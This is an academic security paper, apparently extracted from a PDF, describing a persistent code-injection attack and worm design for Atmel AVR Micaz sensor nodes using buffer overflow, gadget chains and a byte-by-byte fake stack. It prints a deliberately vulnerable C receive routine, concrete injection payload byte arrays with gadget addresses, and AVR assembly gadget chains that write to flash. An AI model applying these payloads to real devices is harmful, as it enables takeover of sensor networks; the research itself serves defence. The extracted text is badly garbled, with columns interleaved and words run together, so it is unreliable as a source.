Code injection attacks on harvard-architecture devices

0.2 MB·English

by  Aurélien Francillon

Code Injection Attacks on Harvard-Architecture Devices
Aurélien Francillon Claude Castelluccia
INRIARhône-Alpes INRIARhône-Alpes
655avenuedel’Europe,Montbonnot 655avenuedel’Europe,Montbonnot
38334SaintIsmierCedex,France 38334SaintIsmierCedex,France
[email protected] [email protected]
9
ABSTRACT 1. INTRODUCTION
0
0 HarvardarchitectureCPU design iscommon in theembed- Worm attacks exploiting memory-related vulnerabilities
2 ded world. Examples ofHarvard-basedarchitecturedevices are very common on the Internet. They are often used to
n are the Mica family of wireless sensors. Mica motes have create botnets, by compromising and gaining control of a
a limited memory and can process only very small packets. large numberof hosts.
J Stack-basedbufferoverflowtechniquesthatinject codeinto It is widely believed that these types of attacks are diffi-
2 thestackandthenexecuteitarethereforenotapplicable. It cult, if not impossible, to perform on Wireless Sensor Net-
2 has been a common belief that code injection is impossible works (WSN) that use Mica motes [21, 11]. For example,
onHarvardarchitectures. Thispaperpresentsaremotecode Mica sensors use a Harvard architecture, that physically
] injection attack for Mica sensors. We show how to exploit separates data and program memories. Standard memory-
R program vulnerabilities to permanently inject any piece of related attacks [1] that execute code injected in the stack
C codeintotheprogrammemoryofanAtmelAVR-basedsen- are therefore impossible.
. sor. To our knowledge, this is the first result that presents As opposed to sensor network defense (code attestation,
s a code injection technique for such devices. Previous work detection of malware infections, intrusion detection [22, 4])
c
onlysucceededin injectingdataorperformingtransientat- that hasbeena veryactivearea ofresearch, therehasbeen
[
tacks. Injecting permanent code is more powerful since the very little research on node-compromising techniques. The

1 attacker can gain full control of the target sensor. We also only previous work in this area either focused on Von Neu-
v showthatthisattackcanbeusedtoinjectawormthatcan mann architecture-based sensors [10] or only succeeded to
2 propagatethroughthewireless sensornetworkandpossibly perform transient attacks that can only execute sequences
8 create a sensor botnet. Our attack combines different tech- of instructionsalready present in thesensor program mem-
4 niques such as return oriented programming and fake stack ory [12]. Permanent code injection attacks are much more
3 injection. We present implementation details and suggest powerful: an attacker can inject malicious code in order to
1. some counter-measures. takefullcontrolofanode,changeand/ordiscloseitssecurity
0 parameters. As a result, an attacker can hijack a network
9 or monitor it. As such, they create a real threat, especially
Categories andSubject Descriptors
0 if the attackedWSN is connected to theInternet[20].
: D.4.6 [Operating Systems]: Securityand Protection This paper presents the design of the first worm for Har-
v
vardarchitecture-basedWSNs. Weshowhowtoinjectarbi-
i
X trarymalwareintoasensor. Thismalwarecanbeconverted
General Terms into a worm by including a self-propagating module. Our
r
a Experimentation, Security attack combines several techniques. Several special packets
are sent to inject a fake stack in the victim’s data memory.
This fake stack is injected using sequences of instructions,
Keywords called gadgets [23], already present in the sensor’s program
memory. Once the fake stack is injected another specially-
Harvard Architecture, Embedded Devices, Wireless Sensor
craftedpacketissenttoexecutethefinalgadgetchain. This
Networks, Code Injection Attacks, Gadgets, Return Ori-
gadgetusesthefakestackandcopiesthemalware(contained
ented Programming, Buffer Overflow,Computer Worms
in the fake stack) from data memory to program memory.
Finally,themalwareisexecuted. Themalwareisinjectedin
program memory. It is therefore persistent, i.e., it remains
even if thenode is reset.
Our attack was implemented and tested on Micaz sen-
Permission tomake digital orhardcopies ofall orpartofthis workfor sors. We present implementation details and explain how
personalorclassroomuseisgrantedwithoutfeeprovidedthatcopiesare this typeof attackscan beprevented.
notmadeordistributedforprofitorcommercialadvantageandthatcopies
The paper is structured as follows: Section 2 introduces
bearthisnoticeandthefullcitationonthefirstpage.Tocopyotherwise,to
the platform hardware and software. The major difficulties
republish,topostonserversortoredistributetolists,requirespriorspecific
permissionand/orafee. to overcome are detailed in Section 3. Section 4 presents
CCS’08,October27–31,2008,Alexandria,Virginia,USA. therelated work. Section 5 givesan overviewof theattack,
Copyright2008ACM978-1-59593-810-7/08/10...$5.00.
whosedetailsareprovidedinSection6. Protectionmeasures Since the microcontroller does not use any Memory
areintroducedinSection7. Finally,Section8concludesthe Management Unit (MMU), no address verification is
paper and presentssome futurework. performed before a memory access. As a result, the
wholedataaddressspace(includingregistersandI/O)
2. ATMELAVR-BASED SENSOR are directly addressable.
ARCHITECTUREOVERVIEW
• The EEPROM memory is mapped to its own address
TheplatformtargetedinthisattackistheMicazmotes[7]. space and can be accessed via the dedicated IO regis-
It is one of themost common platform for WSNs. Micaz is ters. Itthereforecannotbeusedasaregularmemory.
basedonanAtmelAVRAtmega1288-bitmicrocontroller[3] Since this memory area is not erased during repro-
clocked at a frequency of 8MHz and an IEEE 802.15.4 [15] gramming or power cycling of the CPU, it is mostly
compatible radio. used for permanent configuration data.
2.1 The AVR architecture • TheMicazplatformhasanexternalflashmemorywhich
The Atmel Atmega 128 [3] is a Harvard architecture mi-
crocontroller. In such microcontrollers, program and data
memories are physically separated. The CPU can load in-
Atmega 128
structions only from program memory and can only write
Program
in data memory. Furthermore, the program counter can Flash
onlyaccessprogrammemory. Asaresult,datamemorycan AddressSpace 802.15.4
not be executed. A true Harvard architecture completely radio
instructionbus
prevents remote modification of program memory. Modifi-
cation requires physical access to the memory. As this is external
impractical, true Harvard-based microcontrollers are rarely CPU flash
used in practice. Most of Harvard-based microcontrollers 512KB
are actually using a modified Harvard architecture. In such
architecture, theprogram can be modified undersome par- databus external
ticular circumstances. periph-
erals...
For example, the AVR assembly language has dedicated
instructions ( “Load from Program Memory” (LPM) and EEPROM Registers
“StoretoProgramMemory”(SPM))tocopybytesfrom/to
program memoryto/from datamemory. Theseinstructions I/O
are only operational from the bootloader code section (see Data
Section2.3). Theyareusedtoloadinitialisationvaluesfrom Micaz Node
AddressSpace SRAM
programmemorytodatasection,andtostorelargestaticar-
rays(suchaskeymaterialorprecomputedtable)inprogram
memory,withoutwastingpreciousSRAMmemory. Further-
more,asshowninSection2.3,theSPMinstructionisusedto
remotely configuretheMicaz nodewith a new application.
(a)Micazmemoryarchitectureputtinginevidencethephys-
2.2 The memories ical separation of memory areas, on top of thefigurewecan
see the flash memory which contains the program instruc-
AsshownonFigure1(a),theAtmega128microcontroller tions.
has three internal memories, one external memory, and a
ProgramAddressSpace DataAddressSpace
flash chip,on the Micaz board.
16bitwidthmemory 8bitwidthmemory
• Theinternalflash(orprogrammemory),iswherepro-
interruptvectors 0x0000 Registers 0x0000
gram instructions are stored. The microprocessor can 0x0046 0x0020
only execute code from this area. As most instruc- IOSpace
0x0100
tions are two bytes or four bytes long, program mem- ApplicationCode
oryisaddressedastwo-bytewords,i.e.,128KBytesof .dataSection
program memory are addressable. The internal flash 0x0200
memory is usually split into two main sections: ap- .BSSSection
plication and bootloader sections. This flash memory UnusedSpace
0x0300
can be programmed either by a physical connection
0xF800 unused
tothemicrocontroller orbyself-reprogramming. Self- BLinterruptvectors
reprogramming is only possible from the bootloader 0xF846 SP
section. Further details on the bootloader and self- Bootloader Stack
reprogramming can be found in Section 2.3.
0xFFFF 0x1100
• Data memory address space is addressable with regu- (b)TypicalmemoryorganisationonanAtmelAtmega128.
Program memory addresses are addressed either as 16bit
lar instructions. It is used for different purposes. As
words or as bytesdependingon thecontext.
illustratedinFigure1(b),itcontainstheregisters,the
InputOutputarea,whereperipheralsandcontrolreg-
isters are mapped,and 4 KBytesof physical SRAM. Figure 1: Memory organisation on a Micaz.
isusedforpersistentdatastorage. Thismemoryisac- exploitbufferoverflowtoexecutemaliciouscodeinjectedby
cessedasanexternaldevicefromaserialbus. Itisnot a specially-crafted packet.
accessibleasaregularmemoryandistypicallyusedto InMica-familysensors,codeanddatamemoriesarephys-
store sensed dataor program images. ically separated. The program counter cannot point to an
address in the data memory. The previously presented in-
2.3 The bootloader jection attacks are therefore impossible to perform on this
typeof sensor [21, 11].
A sensor node is typically configured with a monolithic
Furthermore,sensorshaveothercharacteristicsthatlimit
piece of code before deployment. This code implementsthe
the capabilities of an attacker. For example, packets pro-
actions that thesensor is requiredto perform (for example,
cessed by a sensor are usually very small. For example
collecting and aggregating data). However, there are many
TinyOS limits the size of packet’s payload to 28 bytes. It
situations where this code needs to be updated or changed
is therefore difficult to inject a useful piece of code with a
after deployment. For example, a node can have several
single packet. Finally, a sensor has very limited memory.
modesofoperationandswitchfromonetoanother. Thesize
The application code is therefore often size-optimized and
of program memory being limited, it is often impossible to
has limited functionality. Functions are very often inlined.
storeallprogramimagesinprogrammemory. Furthermore,
This makes “return-into-libc”attacks [25] very difficult to
if a software bugor vulnerability is found, a code updateis
perform.
required. Ifanodecannotbereprogrammed,itbecomesun-
Becauseofallthesecharacteristics,remoteexploitationof
usable. Sinceit ishighlyimpractical (andoften impossible)
sensors is verychallenging.
tocollectalldeployednodesandphysicallyreprogramthem,
acodeupdatemechanism isprovidedbymost applications.
4. RELATED WORK
We argue that such a mechanism is a strong requirement
for the reliably and survivability of a large WSN. On an
4.1 From “return-into-libc” attackto gadgets
Atmega128 node, the reprogramming task is performed by
thebootloader,whichisapieceofcodethat,uponaremote Inordertopreventbufferoverflowexploitationingeneral
request,canchangetheprogramimagebeingranonanode. purposecomputers,memoryprotectionmechanisms,known
External flash memory is often used to store several pro- as the no-execute bit (NX-Bit) or Write-Xor-Execute(W ⊗
gramimages. Whentheapplicationissolicitedtoreprogram E) [2, 8, 27, 21] have been proposed. These techniques en-
anodewithagivenimage, itconfigurestheEEPROMwith force memory to be either writable or executable. Trying
theimageidentifierandrebootsthesensor. Thebootloader to execute instructions in a page marked as non executable
then copies the requested image from external flash mem- generatesasegmentationfault. Themaingoalofthesetech-
ory to program memory. The node then boots on the new niques is to prevent execution of code in the stack or more
program image. generally in data memory. The resulting protection is simi-
On a Micaz node, the bootloader copies the selected im- lar to what is providedby Harvard architectures.
agefromexternalflashmemorytotheRAMmemoryin256- Several techniques have been developed to bypass these
byte pages. It then copies these pages to program memory protection mechanisms. The first published technique was
using the dedicated SPM instruction. Note that only the the “return-into-libc” attack [25] where the attacker does
bootloader can use the SPM instruction to copy pages to notinject codetothestackanymorebutinsteadexecutesa
program memory. Different images can be configured stat- function of the libc. The“return-into-libc”attack has been
ically, i.e., before deployment, to store several program im- extended into different variants. [23] generalizes this tech-
ages. Alternatively,these images can beuploaded remotely niqueand shows that it is possible toattack systems which
usingacodeupdateprotocol suchas TinyOS’sDeluge[14]. arerunningunderW⊗E likeenvironmentsbyexecutingse-
In the rest of this paper, we assume that each node is quencesofinstructionsterminatedbya“ret”. Thesegroups
configured with a bootloader. We argue that this is a very of instructions are called Gadgets. Gadgets are performing
realisticassumptionsince,asdiscussedpreviously,awireless actionsusefultotheattacker(i.e.,popavalueinstacktoa
sensornetworkwithoutself-reprogrammingcapabilitywould register) and possibly returningto anothergadget.
have limited value. We do not require the presence of any
4.2 Exploitationofsensornodes
remote code update protocols, such as Deluge. However,
if such a protocol is available, we assume that it is secure,
i.e., the updated images are authenticated [9, 17, 18, 19]. StackexecutiononVonNeumannarchitecturesensors.
Otherwise, the code update mechanism could be trivially
exploited byan attackerto perform code injection. [10, 11] show how to overcome thepacket size limitation.
Theauthordescribeshowtoabusestringformatvulnerabil-
3. ONTHEDIFFICULTYOFEXPLOITING ities orbufferoverflowson theMSP430 based Telosb motes
inordertoexecutemaliciouscodeuploadedintodatamem-
A SENSOR NODE
ory. He demonstrates that it is possible to inject malicious
Traditionalbufferoverflowattacksusuallyrelyonthefact code byte-by-bytein order to load arbitrary long bytecode.
that the attacker is able to inject a piece of code into the As Telosb motes are based on the MSP430 microcontroller
stack and execute it. This exploit can, for example, result (aVonNeumannarchitecture),itispossibletoexecutema-
from a program vulnerability. licious data injected intomemory. However, asdiscussed in
In the Von Neumann architecture, a program can access Section 2.1, this attack is impossible on Harvard architec-
both code (TEXT) and data sections (data, BSS or Stack). ture motes, such as the Micaz. Countermeasures proposed
Furthermore, instructions injected into data memory (such in[11]includehardwaremodificationstotheMSP430micro-
as stack) can be executed. As a result, an attacker can controller and using Harvard architecture microcontrollers.
Thehardwaremodificationwouldprovidetheabilitytocon- with a ret. Provided that it injects the right parameters
figure memory regions as non executable. In our work, we into the stack, this attack can be quite harmful. The set of
show by a practical example that, although this solution instructions that an attacker can execute is limited to the
complicates theattack, it does not makeit impossible. gadgets present in program memory. In order to execute
moreelaborateactions,anattackercanchainseveralgadgets
Mal-Packets. tocreatewhat werefertoasmeta-gadget intherestof this
[12]shows how tomodify theexecutionflow ofa TinyOS paper.
applicationrunningonaMica2sensor(aMicazwithadiffer- In[23], theauthorsshow that,on aregular computer,an
entradiodevice)toperformatransientattack. Thisattack attackercontrollingthestackcanchaingadgetstoundertake
exploits bufferoverflow in order toexecutegadgets, i.e., in- any arbitrary computation. This is the foundation of what
structionsthatarepresentonthesensor. Theseinstructions is called return-oriented programming. On asensor, theap-
perform some actions (such as possibly modifying some of plication program is much smaller and is usually limited to
the sensor data) and then propagate the injected packet to a few kilobytes. It is therefore questionable whether this
thenode’s neighbors. result holds. However,ourattackdoesnot requireaTuring
Whilethisattackisinteresting,ithasseverallimitations. completesetofgadgets. Infact,asshownintherestofthis
First, it is limited to one packet. Since packets are very section,wedonotdirectlyusethistechniquetoexecutema-
small, the possible set of actions is very limited. Second, liciouscodeasin[23]. Instead,weusemeta-gadgetstoinject
actions are limited to sequences of instructions present in
thesensormemory. Third,theattackistransient. Oncethe
packetisprocessed,theattackterminates. Furthermore,the
action of theattack disappears if the nodeis reset. event message t∗
Receive.receive(message t∗bufPtr,void∗payload,
In contrast, our attack allows injection of any malicious
uint8 t len){
code. Itistherefore muchmoreflexibleandpowerful. Note
// BUFF LEN is definedsomewhere else as 4
thatourschemealsomakesuseofgadgets. However,gadgets uint8 t tmp buff[BUFF LEN];
areusedtoimplementthefunctionthatcopiesinjectedcode rcm=(radio count msg t∗)payload;
from data memory to program memory. It is not used, as
in the Mal-Packets scheme, to execute the actual malicious // copy thecontent in a bufferfor furtherprocessing
actions. Therefore, our requirement (in terms of instruc- for (i=0;i<rcm−>buff len;i++){
tmp buff[i]=rcm−>buff[i];// vulnerability
tions present in the attacked node) is much less stringent.
}
Furthermore,in ourscheme, theinjected codeis persistent. returnbufPtr;
}
5. ATTACKOVERVIEW
(a) Samplebuffermanagement vulnerability.
This section describes the code injection attack. We first
describe our system assumptions and present the concept uint8 t payload[]={
of a meta-gadget, a key component of our attack. We then 0x00,0x01,0x02,0x03,// padding
provideanoverviewoftheproposedattack. Implementation 0x58,0x2b, // Addressof gadget 1
details are presentedin thenext section. ADDR L,ADDR H,// address to write
0x00, // Padding
5.1 System assumptions DATA, // data towrite
0x00,0x00,0x00, // padding
Throughout this paper, we make the following assump-
0x85,0x01, // address of gadget 2
tions: 0x3a,0x07, // address of gadget 3
0x00,0x00 // Soft reboot address
• TheWSNunderattackiscomposedofMicaznodes[7]. };
• All nodesare identical and run thesame code. (b)Payload of the injection packet.
• The attackerknows theprogram memory content1. Memory Usage normal valueafter
address value overflow
• EachnodeisrunningthesameversionofTinyOSand
0x10FF End Mem
no changeswere performed in theOS libraries.
. . . .
. . . .
• Each nodeis configured with a bootloader. . . . .
0x1062 other 0xXX ADDRH
• Runningcodehasat least oneexploitablebufferover- 0x1061 other 0xXX ADDRL
flow vulnerability. 0x1060 @retH 0x38 0x2b
0x105F @retL 0x22 0x58
5.2 Meta-gadgets
0x105E tmpbuff[3] 0 0x03
As discussed in Section 3, it is very difficult for a remote 0x105D tmpbuff[2] 0 0x02
attackertodirectlyinjectapieceofcodeonaHarvard-based 0x105C tmpbuff[1] 0 0x01
sensor. However,asdescribedin[23],anattackercanexploit 0x105B tmpbuff[0] 0 0x00
aprogramvulnerabilitytoexecuteagadget,i.e. asequence (c) Buffer overflow with a packet containing the bytes
of instructions already in program memory that terminates shown in Figure 2(b).
1Ithas,forexample,capturedanodeandanalyseditsbinary
code. Figure 2: Vulnerability exploitation.
maliciouscodeintothesensor. Themaliciouscode,oncein- to 0. As a result, the sensor reboots and returns to a
jected, is then executed as a“regular”program. Therefore, “clean state”.
as shown below, therequirementon thepresentcode isless
3. Theattackerthensendsasecondspecially-craftedpa-
stringent. Only a limited set of gadgets is necessary.
cket that injects the second byte of the fake stack at
5.3 Incremental attackdescription address A+1 and reboots thesensor.
The ultimate goal of our attack is to remotely inject a 4. Steps2and3arerepeatedasnecessary. Afternpack-
piece of (malicious) code into a sensor’s flash memory. We ets, where n is the size of the fake stack, the whole
first describe the attack by assuming that the attacker can fake stack is injected into the sensor data memory at
sendverylargepackets. Wethenexplainhowthisinjection address A.
canbeperformedwithverysmallpackets. Thissectionpro-
vides a high-level description. The details are presented in 5. The attacker then sends another specially-crafted pa-
Section 6. cket to invoke the Reprogramming meta-gadget. This
meta-gadgetcopiesthemalware(containedintothein-
5.3.1 InjectingcodeintoaHarvard-basedsensor jected fake stack) into program memory and executes
withoutpacketsizelimitation it, as described in Section 5.3.1.
As discussed previously, most sensors contain bootloader 5.3.3 Memorypersistenceacrossreboots
code used to install a given image into program memory
Onceabufferoverflowoccurs,itisdifficult[12],andsome-
(seeSection2.3). Itusesafunctionthatcopiesapagefrom
times impossible, to restore consistent state and program
data memory to program memory. One solution could be
flow. Inconsistent state can have disastrous effects on the
to invoke this function with the appropriate arguments to
node. In order to re-establish consistent state, we reboot
copy theinjected codeintoprogram memory. However,the
the attacked sensor after each attack. We perform a“soft-
bootloader code is deeply inlined. It is therefore impossible
ware reboot”by simply returning to the reboot vector (at
to invokethedesired function alone.
address 0x0). During a software reboot, the init functions
We therefore designed a“Reprogramming” meta-gadget,
insertedbythecompiler/libcinitializesthevariablesindata
composedofachainofgadgets. Eachgadgetusesasequence
section. Italso initializes theBSSsection tozero. Allother
of instructions from bootloader code and several variables
memory areas (in SRAM) are not modified. For example,
that are popped from the stack. To become operational,
thewholememoryarea(markedas“unused”inFigure1(b)),
this meta-gadget must be used together with a specially-
which is located above the BSS section and below the max
craftedstack,referredtoasthefake stackintherestofthis
value of the stack pointer, is unaffected by reboots and the
section. This fake stack containsthegadget variables (such
as ADDRM; the address in the program memory where to runningapplication.
This memory zone is therefore the perfect place to inject
copythecode),addressesofgadgetsandcodetobeinjected
hidden data. We use it to store the fake stack byte-by-
into thenode. Details of thismeta-gadget and therequired
byte. This technique of recovering bytes across reboots is
stack are providedlater in Section 6.
somewhatsimilartotheattackondiskencryption,presented
5.3.2 InjectingcodeintoaHarvard-basedsensorwith in [13], which recovers the data in a laptop’s memory after
smallpackets areboot. However,onemajordifferenceisthat,inourcase,
thememoryiskeptpoweredand,therefore,nobitsarelost.
Theattackassumesthattheadversarycaninjectarbitrar-
ily large data into the sensor data memory. However, since
6. IMPLEMENTATION DETAILS
the maximum packet size is 28 bytes, the previous attack
is impractical. To overcome this limitation, we inject the This section illustrates the injection attack by a simple
fake stack into the unused part of data memory (see Fig- example. We assume that the node is running a program
ure 1(b)) byte-by-byteand then invokethe Reprogramming that has a vulnerability in its packet reception routine as
meta-gadget, described in the previous section, to copy the shown in Figure 2(a). The attacker’s goal is to exploit this
malware in program memory. vulnerability to inject malicious code.
In order to achieve this goal, we designed an“Injection” This section starts by explaining how the vulnerability is
meta-gadget thatinjectsonebytefrom thestack toagiven exploited. We then describe the implementation of the In-
address in data memory. This Injection meta-gadget is de- jection and Reprogramming meta-gadgets that are needed
scribed in Section 6.3. for thisattack. We detail thestructureof therequired fake
The overview of theattack is as follows: stack,andhowitisinjectedbyte-by-byteintodatamemory
withtheInjection meta-gadget. Finally,weexplainhowthe
1. The attacker builds the fake stack containing the ma- Reprogramming meta-gadget uses the fake stack to repro-
licious code tobe injected into datamemory. gram thesensor with theinjected malware.
6.1 Buffer overflow exploitation
2. It then sends to the node a specially-crafted packet
that overwrites the return address saved on the stack Thefirststepistoexploitavulnerabilityinordertotake
with the address of the Injection meta-gadget. This control of the program flow. In our experimental example,
meta-gadgetcopiesthefirstbyteofthefakestack(that weusestandardbufferoverflow. Weassumethatthesensor
wasinjectedintothestack)toagivenaddressA(also is using a packet reception function that has a vulnerabil-
retrieved from the stack) in data memory. The meta- ity (see Figure 2(a)). This function copies into the array
gadget ends with a ret instruction, which fetches the tmp_buff of size BUFF_LEN, rcm->buffer_len bytes of ar-
return address from the fake stack. This value is set ray rcm->buff, which is one of the function parameters. If
Vulnerablefunction structionfollowingthecallinstruction)intothestack.
stack/buffer Inthisexamplewerefertothisaddressas@ret(@retH
instr payload comments and @retL being respectively the MSB and the LSB
... ... bytes).
G
ret GLH 1st gadgetaddress • Once the call instruction is executed, the program
controlflowredoirection counter is set to the beginning of the called function,
Ideal Gadget: popaddress,datatoregisters,storesdata
i.e., the receive function. This function is then in-
ppoopprr3301 AAddddrrLH InjectionAddr. voked. It possibly saves, in its preamble, theregisters
on the stack (omitted here for clarity), and allocates
popr18 Data oBytetoinject
stZ,r18 writebytetomemory its local variables on the stack, i.e. the 4 bytes of the
0x00 tmp_buff array (thestack pointeris decreased by 4).
ret reboot
0x00
• The for loop then copies the received bytes in the
(a) Ideal Injection meta-gadget. tmp_buff bufferthat starts at address 0x105B.
Vulnerablefunction • Whenthefunctionterminates,thefunctiondeallocates
instr. stack/buffer its local variables (i.e. increases the stack pointer),
instr comments
address injected possibly restores the registers with pop instructions,
5e6: ... ... and executes the ret instruction, which reads the ad-
0x58 dress to return to from the top of the stack. If an
5e7: ret nextgadget
0x2b attacker sends a packet formatted as shown in Fig-
controlflowredirection o ure2(b),thedatacopyoperationoverflowsthe4-bytes
Gadget 1: loadaddressanddatatoregisters
buffer with 19-bytes. As a result, the return address
22bb5589:: ppoopprr2254 AAddddrrLH InjectionAddr. is overwritten with the address 0x2b58 and 13 more
bytes (used as parameters by the gadget) are written
2b60: popr19 0 o
2b61: popr18 Data Bytetoinject into the stack. The ret instruction then fetches the
2b62: popr0 0 returnaddress0x2b58 insteadoftheoriginal@retad-
2b63: out0x3f,r0 dress. Asa result, thegadget is executed.
2b64: popr0 0
2b65: popr1 0 6.2 Meta-gadget implementation
0x85
2b66: reti nextgadget Thissectiondescribestheimplementationofthetwometa-
0x01
gadgets. Notethatameta-gadget’simplementationactually
controlflowredirection o
depends on the code present in a node. Two nodes config-
Gadget 2: moveaddressfromregr24:25tor30:31( Z)
ured with differentcode would,verylikely,requiredifferent
185: movwr30,r24
186: stdZ+10,r22 implementations.
0x3a
187: ret nextgadget
0x07 Injectionmeta-gadget.
o
controlflowredirection In order to inject one byte into memory we need to find
Gadget 3: writedatatomemory,andreboot away toperform theoperationsthat would bedonebythe
73a: stZ,r18 write byte to “ideal”gadget, described in Figure 3(a). This ideal gadget
memory
wouldloadtheaddressandthevaluetowritefromthestack
0x00
73b: ret softreboot and would use the ST instruction to perform the memory
0x00
o write. However,thisgadgetwasnotpresentintheprogram
(b)Real Injection meta-gadget. memoryofoursensor. Wethereforeneededtochainseveral
gadgets together tocreate what we refer toas theInjection
meta-gadget.
Figure 3: Injection meta-gadget.
We first searched for a short gadget performing the store
operation. Wefound,inthemote’scode,agadget,gadget3,
rcm->buffer_len is set to a value larger than BUFF_LEN, a that stores the value of register 18 at the address specified
bufferoverflowoccurs2. Thisvulnerabilitycanbeexploited by register Z (the Z register is a 16 bit register alias for
registers r30 and r31). To achieve our goal, we needed to
to inject data into the stack and execute a gadget as illus-
tratedbelow. Duringanormalcallofthereceivefunction, pop the byte to inject into register r18 and the injection
address into registers r30 and r31. We did not find any
the stack layout is displayed in Figure 2(c) and is used as
gadget for this task. We therefore had to split this task
follows:
intotwogadgets. The firstone, gadget1, loads theinjection
• Beforethefunctionreceiveisinvokedthestackpointer destinationaddressintoregistersr24andr25,andloadsthe
is at address 0x1060. byte to inject into r18. The second gadget, gadget2, copies
theregisters r24, r25intoregisters r30, r31usingthe“move
• Whenthefunctionisinvokedthecallinstructionstores
word”instruction (movw).
the address of the following instruction (i.e. the in-
Bychainingthesethreegadgetsweimplementedthemeta-
2This hypothetical vulnerability is a quite plausible flaw – gadget which injects one byte from the stack to an address
some havebeen recently found and fixedin TinyOSsee [5] in datamemory.
To execute this meta-gadget, the attacker must craft a gram memory. Ideally the ProgFlash.write function of the
packet that, as a result of a buffer overflow, overwrites the bootloader, that uses the SPM instruction to copy pages
return address with theaddress of gadget1, and injects into fromthedatatotheprogrammemory,couldbeused. How-
the stack the injection address, the malicious byte, the ad- ever,thisfunctionisinlinedwithinthebootloadercode. Its
dressesofgadget2 andgadget3, andthevalue“0”(toreboot instructions are mixed with other instructions that, for ex-
the node). The payload of the injection packet is displayed ample, load pages from external flash memory, check the
in Figure 2(b). integrity of the pages and so on. As a result, this function
cannot be called independently.
Reprogrammingmeta-gadget. We therefore built a meta-gadget that uses selected gad-
As described in Section 5.3.2, the Reprogramming meta- gets belonging to the bootloader. The implementation of
gadget is required to copy a set of pages from data to pro- this meta-gadget is partially shown in Figure 4. Dueto the
sizeofeachgadgetweonlydisplaytheinstructionsthatare
important for the understanding of the meta-gadget. We
assumeinthefollowingdescriptionthatafakestackwasin-
instr. instr buffer comments jected at the address ADDRFSP of data memory and that
address payload
the size of the malware to be injected is smaller than one
Gadget 1: loadfutureSPvaluefromstacktor28,r29 page. If the malware is larger than one page, this meta-
ff9933de:: ppoopprr2298 FFSSPPHL FakeSPvalue gaTdgheetdheatsaitlos obfewexheactuttheidssfaekveersatlatcikmceosn.tainsand howit is
f93f: popr17 0 o
injected in thedata memory will be covered in Section 6.3.
f940: popr15 0
Our Reprogramming meta-gadget is composed of three
f941: popr14 0
0xa9 gadgets. The first gadget, gadget1, loads the address of the
f942: ret 0xfb nextgadget fake stack pointer (FSP) in r28 and r29 from the current
controlflowredirection o stack. It then executes some instructions, that are not use-
Gadget 2: modifySP,prepareregisters ful for our purpose, and calls the second gadget, gadget2.
fba9: inr0,0x3f Gadget2 first sets the stack pointer to the address of the
fbaa: cli fakestack. Thisisachievedbysettingthestackpointer(IO
fbab: out0x3e,r29 registers 0x3dand 0x3e) with thevalueof registers r28 and
fbac: out0x3f,r0 ModifySP r29 (previously loaded with the FSP address). From then
fbad: out0x3d,r28 )
on, the fake stack is used. Gadget2 then loads the Frame
nowusingfakestack
Pointer(FP)intor28and29,andthedestinationaddressof
ffbbaaef:: ppoopprr2298 FFPPHL LoadFP themalwareinprogrammemory,DESTM,intor14,r15,r16
fbb0: popr17 A3 o andr17. Itthensetsregistersr6,r7,r8,r9tozero(inorder
fbb1: popr16 A2 DEST to exit a loop in which this code is embedded) and jumps
fbb2: popr15 A1 ) M to the third gadget. Gadget3 is the gadget that performs
fbb3: popr14 A0 the copy of a page from data to program memory. It loads
... ... ... the destination address, DESTM, into r30, r31 and loads
fbb8: popr9 I3 theregistersr14,r15andr16intotheregisterlocatedatad-
ffbbbb9a:: ppoopprr87 II21 )loopcounter cdorpesiess0txh0e0m5Ba.lwItartehienntoeraahseasrdownaerpeatgeme aptoraadrdyrbesusffDer,EbSeTfoMre,
f.b.b.b: p..o.pr6 I..0. flashing it at address DESTM. This gadget finally returns
0x4d either to the address of the newly installed malware (and
fbc0: ret 0xfb nextgadget therefore executes it) or to the address 0 (the sensor then
controlflowredirection o reboots).
Gadget 3: reprogramming
fb4d: ldir24,0x03 Automatingthemeta-gadgetimplementation.
fb4e: movwr30,r14 Pagewrite@ The actual implementation of a given meta-gadget de-
fb4f: sts0x005B,r16
pendsonthecodethatispresentinthesensor. Forexample,
fb51: sts0x0068,r24 o
Pageerase ifthesourcecode,thecompilerversion,orthecompilerflags
fb53: spm
... ... o change, the generated binary might be very different. As a
fb7c: spm writebytestoflash result,thegadgetsmightbelocatedindifferentaddressesor
... ...
fb92: spm flashpage
... ... uint8 t payload[]={
fbc0: ret malwareaddress ... //
controlflowredirection 0x3d,0xf9 // Addressof gadget1
JustinstalledMalware FSP H,FSP L, // FakeStack Pointer
8000: sbi0x1a,2 0x00,0x00,0x00, // paddingto r17,r15,r14
8002: sbi0x1a,1 0xa9,0xfb // Addressof Gadget 2
... ... // once Gadget 2 is executed thefake stack is used
};
Figure 4: Reprogramming meta-gadget. The greyed
area displays the fake stack. Figure 5: Payload of the Reprogramming packet.
application code size (KB) payload len. (B) 6.3 Building andinjecting the fakestack
TinyPEDS 43.8 19
AsexplainedinSection5.3.2,ourattackrequirestoinject
AntiTheft Node 27 17
a fake stack into the sensor data memory. We detail the
MultihopOscilloscope 26.9 17
structureofthefakestackthatweusedinourexampleand
AntiTheft Root 25.5 17
explain how it was injected into thedatamemory.
MViz 25.6 17
BaseStation 13.9 21
Buildingthefakestack.
RadioCountToLeds 11.2 21
ThefakestackisusedbytheReprogrammingmeta-gadget.
Blink 2.2 21
AsshownbyFigure4,itmustcontain,amongotherthings,
SharedSourceDemo 3 21
theaddressofthefakeframepointer,thedestinationaddress
Null 0.6 none
ofthemalwareinprogrammemory(DESTM),4zeros,and
Figure 6: Length of the shortest payload found again the address DESTM (to execute the malware when
the Reprogramming meta-gadget returns). The complete
by our automated tool to implement the Injection
structureofthefakestackisdisplayedinFigure7. Thesize
meta-gadget.
of this fake stack is 305 bytes, out of which only 16 bytes
and themalware binary code,of size sizeM, need tobeini-
tialized. In our experiment, our goal was to inject the fake
mightnot bepresentat all. Inordertofacilitate theimple-
stackataddress0x400 andflashthemalwaredestinationat
mentationofmeta-gadgets,webuiltastaticbinaryanalyzer
address 0x8000.
basedontheAvrora[28]simulator. Itstartsbycollectingall
theavailablegadgetspresentinthebinarycode. Itthenuses
InjectingtheFakeStack.
various strategies to obtain different chains of gadgets that
Oncethefakestackisdesignedit mustbeinjected atad-
implement the desired meta-gadget. The analyzer outputs
dress FSP = 0x400 of data memory. The memory area
thepayload corresponding toeach implementation.
around this address is unusedand not initialized nor modi-
Thequalityofameta-gadgetdoesnotdependonthenum-
fied when the sensor reboots. It therefore provides a space
berofinstructionsitcontainsnoronthenumberofgadgets
where bytescan be stored persistently across reboots.
used. The most important criteria is the payload size i.e.
Since the packet size that a sensor can process is lim-
the number of bytesthat need to be pushed into the stack.
